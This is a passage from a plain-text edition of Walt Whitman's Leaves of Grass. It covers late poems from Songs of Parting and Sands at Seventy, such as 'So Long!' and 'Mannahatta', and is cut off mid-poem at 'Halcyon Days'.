nor fame, nor happiness nor wealth, +And yet the pulse of every heart and life throughout the world incessantly, +Which you and I and all pursuing ever ever miss, +Open but still a secret, the real of the real, an illusion, +Costless, vouchsafed to each, yet never man the owner, +Which poets vainly seek to put in rhyme, historians in prose, +Which sculptor never chisel'd yet, nor painter painted, +Which vocalist never sung, nor orator nor actor ever utter'd, +Invoking here and now I challenge for my song. + +Indifferently, 'mid public, private haunts, in solitude, +Behind the mountain and the wood, +Companion of the city's busiest streets, through the assemblage, +It and its radiations constantly glide. + +In looks of fair unconscious babes, +Or strangely in the coffin'd dead, +Or show of breaking dawn or stars by night, +As some dissolving delicate film of dreams, +Hiding yet lingering. + +Two little breaths of words comprising it, +Two words, yet all from first to last comprised in it. + +How ardently for it! +How many ships have sail'd and sunk for it! + +How many travelers started from their homes and neer return'd! +How much of genius boldly staked and lost for it! +What countless stores of beauty, love, ventur'd for it! +How all superbest deeds since Time began are traceable to it--and + shall be to the end! +How all heroic martyrdoms to it! +How, justified by it, the horrors, evils, battles of the earth! +How the bright fascinating lambent flames of it, in every age and + land, have drawn men's eyes, +Rich as a sunset on the Norway coast, the sky, the islands, and the cliffs, +Or midnight's silent glowing northern lights unreachable. + +Haply God's riddle it, so vague and yet so certain, +The soul for it, and all the visible universe for it, +And heaven at last for it. + + + +} Excelsior + +Who has gone farthest? for I would go farther, +And who has been just? for I would be the most just person of the earth, +And who most cautious? for I would be more cautious, +And who has been happiest? O I think it is I--I think no one was + ever happier than I, +And who has lavish'd all? for I lavish constantly the best I have, +And who proudest? for I think I have reason to be the proudest son + alive--for I am the son of the brawny and tall-topt city, +And who has been bold and true? for I would be the boldest and + truest being of the universe, +And who benevolent? for I would show more benevolence than all the rest, +And who has receiv'd the love of the most friends? for I know what + it is to receive the passionate love of many friends, +And who possesses a perfect and enamour'd body? for I do not believe + any one possesses a more perfect or enamour'd body than mine, +And who thinks the amplest thoughts? for I would surround those thoughts, +And who has made hymns fit for the earth? for I am mad with + devouring ecstasy to make joyous hymns for the whole earth. + + + +} Ah Poverties, Wincings, and Sulky Retreats + +Ah poverties, wincings, and sulky retreats, +Ah you foes that in conflict have overcome me, +(For what is my life or any man's life but a conflict with foes, the + old, the incessant war?) +You degradations, you tussle with passions and appetites, +You smarts from dissatisfied friendships, (ah wounds the sharpest of all!) +You toil of painful and choked articulations, you meannesses, +You shallow tongue-talks at tables, (my tongue the shallowest of any;) +You broken resolutions, you racking angers, you smother'd ennuis! +Ah think not you finally triumph, my real self has yet to come forth, +It shall yet march forth o'ermastering, till all lies beneath me, +It shall yet stand up the soldier of ultimate victory. + + + +} Thoughts + +Of public opinion, +Of a calm and cool fiat sooner or later, (how impassive! how certain + and final!) +Of the President with pale face asking secretly to himself, What + will the people say at last? +Of the frivolous Judge--of the corrupt Congressman, Governor, + Mayor--of such as these standing helpless and exposed, +Of the mumbling and screaming priest, (soon, soon deserted,) +Of the lessening year by year of venerableness, and of the dicta of + officers, statutes, pulpits, schools, +Of the rising forever taller and stronger and broader of the + intuitions of men and women, and of Self-esteem and Personality; +Of the true New World--of the Democracies resplendent en-masse, +Of the conformity of politics, armies, navies, to them, +Of the shining sun by them--of the inherent light, greater than the rest, +Of the envelopment of all by them, and the effusion of all from them. + + + +} Mediums + +They shall arise in the States, +They shall report Nature, laws, physiology, and happiness, +They shall illustrate Democracy and the kosmos, +They shall be alimentive, amative, perceptive, +They shall be complete women and men, their pose brawny and supple, + their drink water, their blood clean and clear, +They shall fully enjoy materialism and the sight of products, they + shall enjoy the sight of the beef, lumber, bread-stuffs, of + Chicago the great city. +They shall train themselves to go in public to become orators and + oratresses, +Strong and sweet shall their tongues be, poems and materials of + poems shall come from their lives, they shall be makers and finders, +Of them and of their works shall emerge divine conveyers, to convey gospels, +Characters, events, retrospections, shall be convey'd in gospels, + trees, animals, waters, shall be convey'd, +Death, the future, the invisible faith, shall all be convey'd. + + + +} Weave in, My Hardy Life + +Weave in, weave in, my hardy life, +Weave yet a soldier strong and full for great campaigns to come, +Weave in red blood, weave sinews in like ropes, the senses, sight weave in, +Weave lasting sure, weave day and night the wet, the warp, incessant + weave, tire not, +(We know not what the use O life, nor know the aim, the end, nor + really aught we know, +But know the work, the need goes on and shall go on, the + death-envelop'd march of peace as well as war goes on,) +For great campaigns of peace the same the wiry threads to weave, +We know not why or what, yet weave, forever weave. + + + +} Spain, 1873-74 + +Out of the murk of heaviest clouds, +Out of the feudal wrecks and heap'd-up skeletons of kings, +Out of that old entire European debris, the shatter'd mummeries, +Ruin'd cathedrals, crumble of palaces, tombs of priests, +Lo, Freedom's features fresh undimm'd look forth--the same immortal + face looks forth; +(A glimpse as of thy Mother's face Columbia, +A flash significant as of a sword, +Beaming towards thee.) + +Nor think we forget thee maternal; +Lag'd'st thou so long? shall the clouds close again upon thee? +Ah, but thou hast thyself now appear'd to us--we know thee, +Thou hast given us a sure proof, the glimpse of thyself, +Thou waitest there as everywhere thy time. + + + +} By Broad Potomac's Shore + +By broad Potomac's shore, again old tongue, +(Still uttering, still ejaculating, canst never cease this babble?) +Again old heart so gay, again to you, your sense, the full flush + spring returning, +Again the freshness and the odors, again Virginia's summer sky, + pellucid blue and silver, +Again the forenoon purple of the hills, +Again the deathless grass, so noiseless soft and green, +Again the blood-red roses blooming. + +Perfume this book of mine O blood-red roses! +Lave subtly with your waters every line Potomac! +Give me of you O spring, before I close, to put between its pages! +O forenoon purple of the hills, before I close, of you! +O deathless grass, of you! + + + +} From Far Dakota's Canyons [June 25, 1876] + +From far Dakota's canyons, +Lands of the wild ravine, the dusky Sioux, the lonesome stretch, the + silence, +Haply to-day a mournful wall, haply a trumpet-note for heroes. + +The battle-bulletin, +The Indian ambuscade, the craft, the fatal environment, +The cavalry companies fighting to the last in sternest heroism, +In the midst of their little circle, with their slaughter'd horses + for breastworks, +The fall of Custer and all his officers and men. + +Continues yet the old, old legend of our race, +The loftiest of life upheld by death, +The ancient banner perfectly maintain'd, +O lesson opportune, O how I welcome thee! + +As sitting in dark days, +Lone, sulky, through the time's thick murk looking in vain for + light, for hope, +From unsuspected parts a fierce and momentary proof, +(The sun there at the centre though conceal'd, +Electric life forever at the centre,) +Breaks forth a lightning flash. + +Thou of the tawny flowing hair in battle, +I erewhile saw, with erect head, pressing ever in front, bearing a + bright sword in thy hand, +Now ending well in death the splendid fever of thy deeds, +(I bring no dirge for it or thee, I bring a glad triumphal sonnet,) +Desperate and glorious, aye in defeat most desperate, most glorious, +After thy many battles in which never yielding up a gun or a color, +Leaving behind thee a memory sweet to soldiers, +Thou yieldest up thyself. + + + +} Old War-Dreams + +In midnight sleep of many a face of anguish, +Of the look at first of the mortally wounded, (of that indescribable look,) +Of the dead on their backs with arms extended wide, + I dream, I dream, I dream. + +Of scenes of Nature, fields and mountains, +Of skies so beauteous after a storm, and at night the moon so + unearthly bright, +Shining sweetly, shining down, where we dig the trenches and + gather the heaps, + I dream, I dream, I dream. + +Long have they pass'd, faces and trenches and fields, +Where through the carnage I moved with a callous composure, or away + from the fallen, +Onward I sped at the time--but now of their forms at night, + I dream, I dream, I dream. + + + +} Thick-Sprinkled Bunting + +Thick-sprinkled bunting! flag of stars! +Long yet your road, fateful flag--long yet your road, and lined with + bloody death, +For the prize I see at issue at last is the world, +All its ships and shores I see interwoven with your threads greedy banner; +Dream'd again the flags of kings, highest borne to flaunt unrival'd? +O hasten flag of man--O with sure and steady step, passing highest + flags of kings, +Walk supreme to the heavens mighty symbol--run up above them all, +Flag of stars! thick-sprinkled bunting! + + + +} What Best I See in Thee +[To U. S. G. return'd from his World's Tour] + +What best I see in thee, +Is not that where thou mov'st down history's great highways, +Ever undimm'd by time shoots warlike victory's dazzle, +Or that thou sat'st where Washington sat, ruling the land in peace, +Or thou the man whom feudal Europe feted, venerable Asia swarm'd upon, +Who walk'd with kings with even pace the round world's promenade; +But that in foreign lands, in all thy walks with kings, +Those prairie sovereigns of the West, Kansas, Missouri, Illinois, +Ohio's, Indiana's millions, comrades, farmers, soldiers, all to the front, +Invisibly with thee walking with kings with even pace the round + world's promenade, +Were all so justified. + + + +} Spirit That Form'd This Scene +[Written in Platte Canyon, Colorado] + +Spirit that form'd this scene, +These tumbled rock-piles grim and red, +These reckless heaven-ambitious peaks, +These gorges, turbulent-clear streams, this naked freshness, +These formless wild arrays, for reasons of their own, +I know thee, savage spirit--we have communed together, +Mine too such wild arrays, for reasons of their own; +Wast charged against my chants they had forgotten art? +To fuse within themselves its rules precise and delicatesse? +The lyrist's measur'd beat, the wrought-out temple's grace--column + and polish'd arch forgot? +But thou that revelest here--spirit that form'd this scene, +They have remember'd thee. + + + +} As I Walk These Broad Majestic Days + +As I walk these broad majestic days of peace, +(For the war, the struggle of blood finish'd, wherein, O terrific Ideal, +Against vast odds erewhile having gloriously won, +Now thou stridest on, yet perhaps in time toward denser wars, +Perhaps to engage in time in still more dreadful contests, dangers, +Longer campaigns and crises, labors beyond all others,) +Around me I hear that eclat of the world, politics, produce, +The announcements of recognized things, science, +The approved growth of cities and the spread of inventions. + +I see the ships, (they will last a few years,) +The vast factories with their foremen and workmen, +And hear the indorsement of all, and do not object to it. + +But I too announce solid things, +Science, ships, politics, cities, factories, are not nothing, +Like a grand procession to music of distant bugles pouring, + triumphantly moving, and grander heaving in sight, +They stand for realities--all is as it should be. + +Then my realities; +What else is so real as mine? +Libertad and the divine average, freedom to every slave on the face + of the earth, +The rapt promises and lumine of seers, the spiritual world, these + centuries-lasting songs, +And our visions, the visions of poets, the most solid announcements + of any. + + + +} A Clear Midnight + +This is thy hour O Soul, thy free flight into the wordless, +Away from books, away from art, the day erased, the lesson done, +Thee fully forth emerging, silent, gazing, pondering the themes thou + lovest best, +Night, sleep, death and the stars. + + + +[BOOK XXXIII. SONGS OF PARTING] + +} As the Time Draws Nigh + +As the time draws nigh glooming a cloud, +A dread beyond of I know not what darkens me. + +I shall go forth, +I shall traverse the States awhile, but I cannot tell whither or how long, +Perhaps soon some day or night while I am singing my voice will + suddenly cease. + +O book, O chants! must all then amount to but this? +Must we barely arrive at this beginning of us? --and yet it is + enough, O soul; +O soul, we have positively appear'd--that is enough. + + + +} Years of the Modern + +Years of the modern! years of the unperform'd! +Your horizon rises, I see it parting away for more august dramas, +I see not America only, not only Liberty's nation but other nations + preparing, +I see tremendous entrances and exits, new combinations, the solidarity + of races, +I see that force advancing with irresistible power on the world's stage, +(Have the old forces, the old wars, played their parts? are the acts + suitable to them closed?) +I see Freedom, completely arm'd and victorious and very haughty, + with Law on one side and Peace on the other, +A stupendous trio all issuing forth against the idea of caste; +What historic denouements are these we so rapidly approach? +I see men marching and countermarching by swift millions, +I see the frontiers and boundaries of the old aristocracies broken, +I see the landmarks of European kings removed, +I see this day the People beginning their landmarks, (all others give way;) +Never were such sharp questions ask'd as this day, +Never was average man, his soul, more energetic, more like a God, +Lo, how he urges and urges, leaving the masses no rest! +His daring foot is on land and sea everywhere, he colonizes the + Pacific, the archipelagoes, +With the steamship, the electric telegraph, the newspaper, the + wholesale engines of war, +With these and the world-spreading factories he interlinks all + geography, all lands; +What whispers are these O lands, running ahead of you, passing under + the seas? +Are all nations communing? is there going to be but one heart to the globe? +Is humanity forming en-masse? for lo, tyrants tremble, crowns grow dim, +The earth, restive, confronts a new era, perhaps a general divine war, +No one knows what will happen next, such portents fill the days and nights; +Years prophetical! the space ahead as I walk, as I vainly try to + pierce it, is full of phantoms, +Unborn deeds, things soon to be, project their shapes around me, +This incredible rush and heat, this strange ecstatic fever of dreams + O years! +Your dreams O years, how they penetrate through me! (I know not + whether I sleep or wake;) +The perform'd America and Europe grow dim, retiring in shadow behind me, +The unperform'd, more gigantic than ever, advance, advance upon me. + + + +} Ashes of Soldiers + +Ashes of soldiers South or North, +As I muse retrospective murmuring a chant in thought, +The war resumes, again to my sense your shapes, +And again the advance of the armies. + +Noiseless as mists and vapors, +From their graves in the trenches ascending, +From cemeteries all through Virginia and Tennessee, +From every point of the compass out of the countless graves, +In wafted clouds, in myriads large, or squads of twos or threes or + single ones they come, +And silently gather round me. + +Now sound no note O trumpeters, +Not at the head of my cavalry parading on spirited horses, +With sabres drawn and glistening, and carbines by their thighs, (ah + my brave horsemen! +My handsome tan-faced horsemen! what life, what joy and pride, +With all the perils were yours.) + +Nor you drummers, neither at reveille at dawn, +Nor the long roll alarming the camp, nor even the muffled beat for burial, +Nothing from you this time O drummers bearing my warlike drums. + +But aside from these and the marts of wealth and the crowded promenade, +Admitting around me comrades close unseen by the rest and voiceless, +The slain elate and alive again, the dust and debris alive, +I chant this chant of my silent soul in the name of all dead soldiers. + +Faces so pale with wondrous eyes, very dear, gather closer yet, +Draw close, but speak not. + +Phantoms of countless lost, +Invisible to the rest henceforth become my companions, +Follow me ever--desert me not while I live. + +Sweet are the blooming cheeks of the living--sweet are the musical + voices sounding, +But sweet, ah sweet, are the dead with their silent eyes. + +Dearest comrades, all is over and long gone, +But love is not over--and what love, O comrades! +Perfume from battle-fields rising, up from the foetor arising. + +Perfume therefore my chant, O love, immortal love, +Give me to bathe the memories of all dead soldiers, +Shroud them, embalm them, cover them all over with tender pride. + +Perfume all--make all wholesome, +Make these ashes to nourish and blossom, +O love, solve all, fructify all with the last chemistry. + +Give me exhaustless, make me a fountain, +That I exhale love from me wherever I go like a moist perennial dew, +For the ashes of all dead soldiers South or North. + + + +} Thoughts + + 1 +Of these years I sing, +How they pass and have pass'd through convuls'd pains, as through + parturitions, +How America illustrates birth, muscular youth, the promise, the sure + fulfilment, the absolute success, despite of people--illustrates + evil as well as good, +The vehement struggle so fierce for unity in one's-self, +How many hold despairingly yet to the models departed, caste, myths, + obedience, compulsion, and to infidelity, +How few see the arrived models, the athletes, the Western States, or + see freedom or spirituality, or hold any faith in results, +(But I see the athletes, and I see the results of the war glorious + and inevitable, and they again leading to other results.) + +How the great cities appear--how the Democratic masses, turbulent, + willful, as I love them, +How the whirl, the contest, the wrestle of evil with good, the + sounding and resounding, keep on and on, +How society waits unform'd, and is for a while between things ended + and things begun, +How America is the continent of glories, and of the triumph of + freedom and of the Democracies, and of the fruits of society, and + of all that is begun, +And how the States are complete in themselves--and how all triumphs + and glories are complete in themselves, to lead onward, +And how these of mine and of the States will in their turn be + convuls'd, and serve other parturitions and transitions, +And how all people, sights, combinations, the democratic masses too, + serve--and how every fact, and war itself, with all its horrors, + serves, +And how now or at any time each serves the exquisite transition of death. + + 2 +Of seeds dropping into the ground, of births, +Of the steady concentration of America, inland, upward, to + impregnable and swarming places, +Of what Indiana, Kentucky, Arkansas, and the rest, are to be, +Of what a few years will show there in Nebraska, Colorado, Nevada, + and the rest, +(Or afar, mounting the Northern Pacific to Sitka or Aliaska,) +Of what the feuillage of America is the preparation for--and of what + all sights, North, South, East and West, are, +Of this Union welded in blood, of the solemn price paid, of the + unnamed lost ever present in my mind; +Of the temporary use of materials for identity's sake, +Of the present, passing, departing--of the growth of completer men + than any yet, +Of all sloping down there where the fresh free giver the mother, the + Mississippi flows, +Of mighty inland cities yet unsurvey'd and unsuspected, +Of the new and good names, of the modern developments, of + inalienable homesteads, +Of a free and original life there, of simple diet and clean and + sweet blood, +Of litheness, majestic faces, clear eyes, and perfect physique there, +Of immense spiritual results future years far West, each side of the + Anahuacs, +Of these songs, well understood there, (being made for that area,) +Of the native scorn of grossness and gain there, +(O it lurks in me night and day--what is gain after all to savageness + and freedom?) + + + +} Song at Sunset + +Splendor of ended day floating and filling me, +Hour prophetic, hour resuming the past, +Inflating my throat, you divine average, +You earth and life till the last ray gleams I sing. + +Open mouth of my soul uttering gladness, +Eyes of my soul seeing perfection, +Natural life of me faithfully praising things, +Corroborating forever the triumph of things. + +Illustrious every one! +Illustrious what we name space, sphere of unnumber'd spirits, +Illustrious the mystery of motion in all beings, even the tiniest insect, +Illustrious the attribute of speech, the senses, the body, +Illustrious the passing light--illustrious the pale reflection on + the new moon in the western sky, +Illustrious whatever I see or hear or touch, to the last. + +Good in all, +In the satisfaction and aplomb of animals, +In the annual return of the seasons, +In the hilarity of youth, +In the strength and flush of manhood, +In the grandeur and exquisiteness of old age, +In the superb vistas of death. + +Wonderful to depart! +Wonderful to be here! +The heart, to jet the all-alike and innocent blood! +To breathe the air, how delicious! +To speak--to walk--to seize something by the hand! +To prepare for sleep, for bed, to look on my rose-color'd flesh! +To be conscious of my body, so satisfied, so large! +To be this incredible God I am! +To have gone forth among other Gods, these men and women I love. + +Wonderful how I celebrate you and myself +How my thoughts play subtly at the spectacles around! +How the clouds pass silently overhead! +How the earth darts on and on! and how the sun, moon, stars, dart on and on! +How the water sports and sings! (surely it is alive!) +How the trees rise and stand up, with strong trunks, with branches + and leaves! +(Surely there is something more in each of the trees, some living soul.) + +O amazement of things--even the least particle! +O spirituality of things! +O strain musical flowing through ages and continents, now reaching + me and America! +I take your strong chords, intersperse them, and cheerfully pass + them forward. + +I too carol the sun, usher'd or at noon, or as now, setting, +I too throb to the brain and beauty of the earth and of all the + growths of the earth, +I too have felt the resistless call of myself. + +As I steam'd down the Mississippi, +As I wander'd over the prairies, +As I have lived, as I have look'd through my windows my eyes, +As I went forth in the morning, as I beheld the light breaking in the east, +As I bathed on the beach of the Eastern Sea, and again on the beach + of the Western Sea, +As I roam'd the streets of inland Chicago, whatever streets I have roam'd, +Or cities or silent woods, or even amid the sights of war, +Wherever I have been I have charged myself with contentment and triumph. + +I sing to the last the equalities modern or old, +I sing the endless finales of things, +I say Nature continues, glory continues, +I praise with electric voice, +For I do not see one imperfection in the universe, +And I do not see one cause or result lamentable at last in the universe. + +O setting sun! though the time has come, +I still warble under you, if none else does, unmitigated adoration. + + + +} As at Thy Portals Also Death + +As at thy portals also death, +Entering thy sovereign, dim, illimitable grounds, +To memories of my mother, to the divine blending, maternity, +To her, buried and gone, yet buried not, gone not from me, +(I see again the calm benignant face fresh and beautiful still, +I sit by the form in the coffin, +I kiss and kiss convulsively again the sweet old lips, the cheeks, + the closed eyes in the coffin;) +To her, the ideal woman, practical, spiritual, of all of earth, + life, love, to me the best, +I grave a monumental line, before I go, amid these songs, +And set a tombstone here. + + + +} My Legacy + +The business man the acquirer vast, +After assiduous years surveying results, preparing for departure, +Devises houses and lands to his children, bequeaths stocks, goods, + funds for a school or hospital, +Leaves money to certain companions to buy tokens, souvenirs of gems + and gold. + +But I, my life surveying, closing, +With nothing to show to devise from its idle years, +Nor houses nor lands, nor tokens of gems or gold for my friends, +Yet certain remembrances of the war for you, and after you, +And little souvenirs of camps and soldiers, with my love, +I bind together and bequeath in this bundle of songs. + + + +} Pensive on Her Dead Gazing + +Pensive on her dead gazing I heard the Mother of All, +Desperate on the torn bodies, on the forms covering the battlefields gazing, +(As the last gun ceased, but the scent of the powder-smoke linger'd,) +As she call'd to her earth with mournful voice while she stalk'd, +Absorb them well O my earth, she cried, I charge you lose not my + sons, lose not an atom, +And you streams absorb them well, taking their dear blood, +And you local spots, and you airs that swim above lightly impalpable, +And all you essences of soil and growth, and you my rivers' depths, +And you mountain sides, and the woods where my dear children's + blood trickling redden'd, +And you trees down in your roots to bequeath to all future trees, +My dead absorb or South or North--my young men's bodies absorb, + and their precious precious blood, +Which holding in trust for me faithfully back again give me many a + year hence, +In unseen essence and odor of surface and grass, centuries hence, +In blowing airs from the fields back again give me my darlings, give + my immortal heroes, +Exhale me them centuries hence, breathe me their breath, let not an + atom be lost, +O years and graves! O air and soil! O my dead, an aroma sweet! +Exhale them perennial sweet death, years, centuries hence. + + + +} Camps of Green + +Nor alone those camps of white, old comrades of the wars, +When as order'd forward, after a long march, +Footsore and weary, soon as the light lessens we halt for the night, +Some of us so fatigued carrying the gun and knapsack, dropping + asleep in our tracks, +Others pitching the little tents, and the fires lit up begin to sparkle, +Outposts of pickets posted surrounding alert through the dark, +And a word provided for countersign, careful for safety, +Till to the call of the drummers at daybreak loudly beating the drums, +We rise up refresh'd, the night and sleep pass'd over, and resume our + journey, +Or proceed to battle. + +Lo, the camps of the tents of green, +Which the days of peace keep filling, and the days of war keep filling, +With a mystic army, (is it too order'd forward? is it too only + halting awhile, +Till night and sleep pass over?) + +Now in those camps of green, in their tents dotting the world, +In the parents, children, husbands, wives, in them, in the old and young, +Sleeping under the sunlight, sleeping under the moonlight, content + and silent there at last, +Behold the mighty bivouac-field and waiting-camp of all, +Of the corps and generals all, and the President over the corps and + generals all, +And of each of us O soldiers, and of each and all in the ranks we fought, +(There without hatred we all, all meet.) + +For presently O soldiers, we too camp in our place in the + bivouac-camps of green, +But we need not provide for outposts, nor word for the countersign, +Nor drummer to beat the morning drum. + + + +} The Sobbing of the Bells [Midnight, Sept. 19-20, 1881] + +The sobbing of the bells, the sudden death-news everywhere, +The slumberers rouse, the rapport of the People, +(Full well they know that message in the darkness, +Full well return, respond within their breasts, their brains, the + sad reverberations,) +The passionate toll and clang--city to city, joining, sounding, passing, +Those heart-beats of a Nation in the night. + + + +} As They Draw to a Close + +As they draw to a close, +Of what underlies the precedent songs--of my aims in them, +Of the seed I have sought to plant in them, +Of joy, sweet joy, through many a year, in them, +(For them, for them have I lived, in them my work is done,) +Of many an aspiration fond, of many a dream and plan; +Through Space and Time fused in a chant, and the flowing eternal identity, +To Nature encompassing these, encompassing God--to the joyous, + electric all, +To the sense of Death, and accepting exulting in Death in its turn + the same as life, +The entrance of man to sing; +To compact you, ye parted, diverse lives, +To put rapport the mountains and rocks and streams, +And the winds of the north, and the forests of oak and pine, +With you O soul. + + + +} Joy, Shipmate, Joy! + +Joy, shipmate, Joy! +(Pleas'd to my soul at death I cry,) +Our life is closed, our life begins, +The long, long anchorage we leave, +The ship is clear at last, she leaps! +She swiftly courses from the shore, +Joy, shipmate, joy. + + + +} The Untold Want + +The untold want by life and land ne'er granted, +Now voyager sail thou forth to seek and find. + + + +} Portals + +What are those of the known but to ascend and enter the Unknown? +And what are those of life but for Death? + + + +} These Carols + +These carols sung to cheer my passage through the world I see, +For completion I dedicate to the Invisible World. + + + +} Now Finale to the Shore + +Now finale to the shore, +Now land and life finale and farewell, +Now Voyager depart, (much, much for thee is yet in store,) +Often enough hast thou adventur'd o'er the seas, +Cautiously cruising, studying the charts, +Duly again to port and hawser's tie returning; +But now obey thy cherish'd secret wish, +Embrace thy friends, leave all in order, +To port and hawser's tie no more returning, +Depart upon thy endless cruise old Sailor. + + + +} So Long! + +To conclude, I announce what comes after me. + +I remember I said before my leaves sprang at all, +I would raise my voice jocund and strong with reference to consummations. + +When America does what was promis'd, +When through these States walk a hundred millions of superb persons, +When the rest part away for superb persons and contribute to them, +When breeds of the most perfect mothers denote America, +Then to me and mine our due fruition. + +I have press'd through in my own right, +I have sung the body and the soul, war and peace have I sung, and + the songs of life and death, +And the songs of birth, and shown that there are many births. + +I have offer'd my style to every one, I have journey'd with confident step; +While my pleasure is yet at the full I whisper So long! +And take the young woman's hand and the young man's hand for the last time. + +I announce natural persons to arise, +I announce justice triumphant, +I announce uncompromising liberty and equality, +I announce the justification of candor and the justification of pride. + +I announce that the identity of these States is a single identity only, +I announce the Union more and more compact, indissoluble, +I announce splendors and majesties to make all the previous politics + of the earth insignificant. + +I announce adhesiveness, I say it shall be limitless, unloosen'd, +I say you shall yet find the friend you were looking for. + +I announce a man or woman coming, perhaps you are the one, (So long!) +I announce the great individual, fluid as Nature, chaste, + affectionate, compassionate, fully arm'd. + +I announce a life that shall be copious, vehement, spiritual, bold, +I announce an end that shall lightly and joyfully meet its translation. + +I announce myriads of youths, beautiful, gigantic, sweet-blooded, +I announce a race of splendid and savage old men. + +O thicker and faster--(So long!) +O crowding too close upon me, +I foresee too much, it means more than I thought, +It appears to me I am dying. + +Hasten throat and sound your last, +Salute me--salute the days once more. Peal the old cry once more. + +Screaming electric, the atmosphere using, +At random glancing, each as I notice absorbing, +Swiftly on, but a little while alighting, +Curious envelop'd messages delivering, +Sparkles hot, seed ethereal down in the dirt dropping, +Myself unknowing, my commission obeying, to question it never daring, +To ages and ages yet the growth of the seed leaving, +To troops out of the war arising, they the tasks I have set +promulging, +To women certain whispers of myself bequeathing, their affection + me more clearly explaining, +To young men my problems offering--no dallier I--I the muscle of + their brains trying, +So I pass, a little time vocal, visible, contrary, +Afterward a melodious echo, passionately bent for, (death making + me really undying,) +The best of me then when no longer visible, for toward that I have + been incessantly preparing. + +What is there more, that I lag and pause and crouch extended with + unshut mouth? +Is there a single final farewell? +My songs cease, I abandon them, +From behind the screen where I hid I advance personally solely to you. + +Camerado, this is no book, +Who touches this touches a man, +(Is it night? are we here together alone?) +It is I you hold and who holds you, +I spring from the pages into your arms--decease calls me forth. + +O how your fingers drowse me, +Your breath falls around me like dew, your pulse lulls the tympans + of my ears, +I feel immerged from head to foot, +Delicious, enough. + +Enough O deed impromptu and secret, +Enough O gliding present--enough O summ'd-up past. + +Dear friend whoever you are take this kiss, +I give it especially to you, do not forget me, +I feel like one who has done work for the day to retire awhile, +I receive now again of my many translations, from my avataras + ascending, while others doubtless await me, +An unknown sphere more real than I dream'd, more direct, darts + awakening rays about me, So long! +Remember my words, I may again return, +I love you, I depart from materials, +I am as one disembodied, triumphant, dead. + + + +[BOOK XXXIV. SANDS AT SEVENTY] + +} Mannahatta + +My city's fit and noble name resumed, +Choice aboriginal name, with marvellous beauty, meaning, +A rocky founded island--shores where ever gayly dash the coming, + going, hurrying sea waves. + + + +} Paumanok + +Sea-beauty! stretch'd and basking! +One side thy inland ocean laving, broad, with copious commerce, + steamers, sails, +And one the Atlantic's wind caressing, fierce or gentle--mighty hulls + dark-gliding in the distance. +Isle of sweet brooks of drinking-water--healthy air and soil! +Isle of the salty shore and breeze and brine! + + + +} From Montauk Point + +I stand as on some mighty eagle's beak, +Eastward the sea absorbing, viewing, (nothing but sea and sky,) +The tossing waves, the foam, the ships in the distance, +The wild unrest, the snowy, curling caps--that inbound urge and urge + of waves, +Seeking the shores forever. + + + +} To Those Who've Fail'd + +To those who've fail'd, in aspiration vast, +To unnam'd soldiers fallen in front on the lead, +To calm, devoted engineers--to over-ardent travelers--to pilots on + their ships, +To many a lofty song and picture without recognition--I'd rear + laurel-cover'd monument, +High, high above the rest--To all cut off before their time, +Possess'd by some strange spirit of fire, +Quench'd by an early death. + + + +} A Carol Closing Sixty-Nine + +A carol closing sixty-nine--a resume--a repetition, +My lines in joy and hope continuing on the same, +Of ye, O God, Life, Nature, Freedom, Poetry; +Of you, my Land--your rivers, prairies, States--you, mottled Flag I love, +Your aggregate retain'd entire--Of north, south, east and west, your + items all; +Of me myself--the jocund heart yet beating in my breast, +The body wreck'd, old, poor and paralyzed--the strange inertia + falling pall-like round me, +The burning fires down in my sluggish blood not yet extinct, +The undiminish'd faith--the groups of loving friends. + + + +} The Bravest Soldiers + +Brave, brave were the soldiers (high named to-day) who lived through + the fight; +But the bravest press'd to the front and fell, unnamed, unknown. + + + +} A Font of Type + +This latent mine--these unlaunch'd voices--passionate powers, +Wrath, argument, or praise, or comic leer, or prayer devout, +(Not nonpareil, brevier, bourgeois, long primer merely,) +These ocean waves arousable to fury and to death, +Or sooth'd to ease and sheeny sun and sleep, +Within the pallid slivers slumbering. + + + +} As I Sit Writing Here + +As I sit writing here, sick and grown old, +Not my least burden is that dulness of the years, querilities, +Ungracious glooms, aches, lethargy, constipation, whimpering ennui, +May filter in my dally songs. + + + +} My Canary Bird + +Did we count great, O soul, to penetrate the themes of mighty books, +Absorbing deep and full from thoughts, plays, speculations? +But now from thee to me, caged bird, to feel thy joyous warble, +Filling the air, the lonesome room, the long forenoon, +Is it not just as great, O soul? + + + +} Queries to My Seventieth Year + +Approaching, nearing, curious, +Thou dim, uncertain spectre--bringest thou life or death? +Strength, weakness, blindness, more paralysis and heavier? +Or placid skies and sun? Wilt stir the waters yet? +Or haply cut me short for good? Or leave me here as now, +Dull, parrot-like and old, with crack'd voice harping, screeching? + + + +} The Wallabout Martyrs + +Greater than memory of Achilles or Ulysses, +More, more by far to thee than tomb of Alexander, +Those cart loads of old charnel ashes, scales and splints of mouldy bones, +Once living men--once resolute courage, aspiration, strength, +The stepping stones to thee to-day and here, America. + + + +} The First Dandelion + +Simple and fresh and fair from winter's close emerging, +As if no artifice of fashion, business, politics, had ever been, +Forth from its sunny nook of shelter'd grass--innocent, golden, calm + as the dawn, +The spring's first dandelion shows its trustful face. + + + +} America + +Centre of equal daughters, equal sons, +All, all alike endear'd, grown, ungrown, young or old, +Strong, ample, fair, enduring, capable, rich, +Perennial with the Earth, with Freedom, Law and Love, +A grand, sane, towering, seated Mother, +Chair'd in the adamant of Time. + + + +} Memories + +How sweet the silent backward tracings! +The wanderings as in dreams--the meditation of old times resumed + --their loves, joys, persons, voyages. + + + +} To-Day and Thee + +The appointed winners in a long-stretch'd game; +The course of Time and nations--Egypt, India, Greece and Rome; +The past entire, with all its heroes, histories, arts, experiments, +Its store of songs, inventions, voyages, teachers, books, +Garner'd for now and thee--To think of it! +The heirdom all converged in thee! + + + +} After the Dazzle of Day + +After the dazzle of day is gone, +Only the dark, dark night shows to my eyes the stars; +After the clangor of organ majestic, or chorus, or perfect band, +Silent, athwart my soul, moves the symphony true. + + + +} Abraham Lincoln, Born Feb. 12, 1809 + +To-day, from each and all, a breath of prayer--a pulse of thought, +To memory of Him--to birth of Him. + + + +} Out of May's Shows Selected + +Apple orchards, the trees all cover'd with blossoms; +Wheat fields carpeted far and near in vital emerald green; +The eternal, exhaustless freshness of each early morning; +The yellow, golden, transparent haze of the warm afternoon sun; +The aspiring lilac bushes with profuse purple or white flowers. + + + +} Halcyon Days + +Not from successful love alone, +Nor wealth, nor honor'd middle age, nor victories of politics or war; +But as life wanes, and all the turbulent passions calm, +As gorgeous, vapory, silent hues cover the evening sky, +As softness, fulness, rest, suffuse the frame, like freshier, balmier air, +As the days take on a mellower light, and the apple at last hangs + really finish'd and 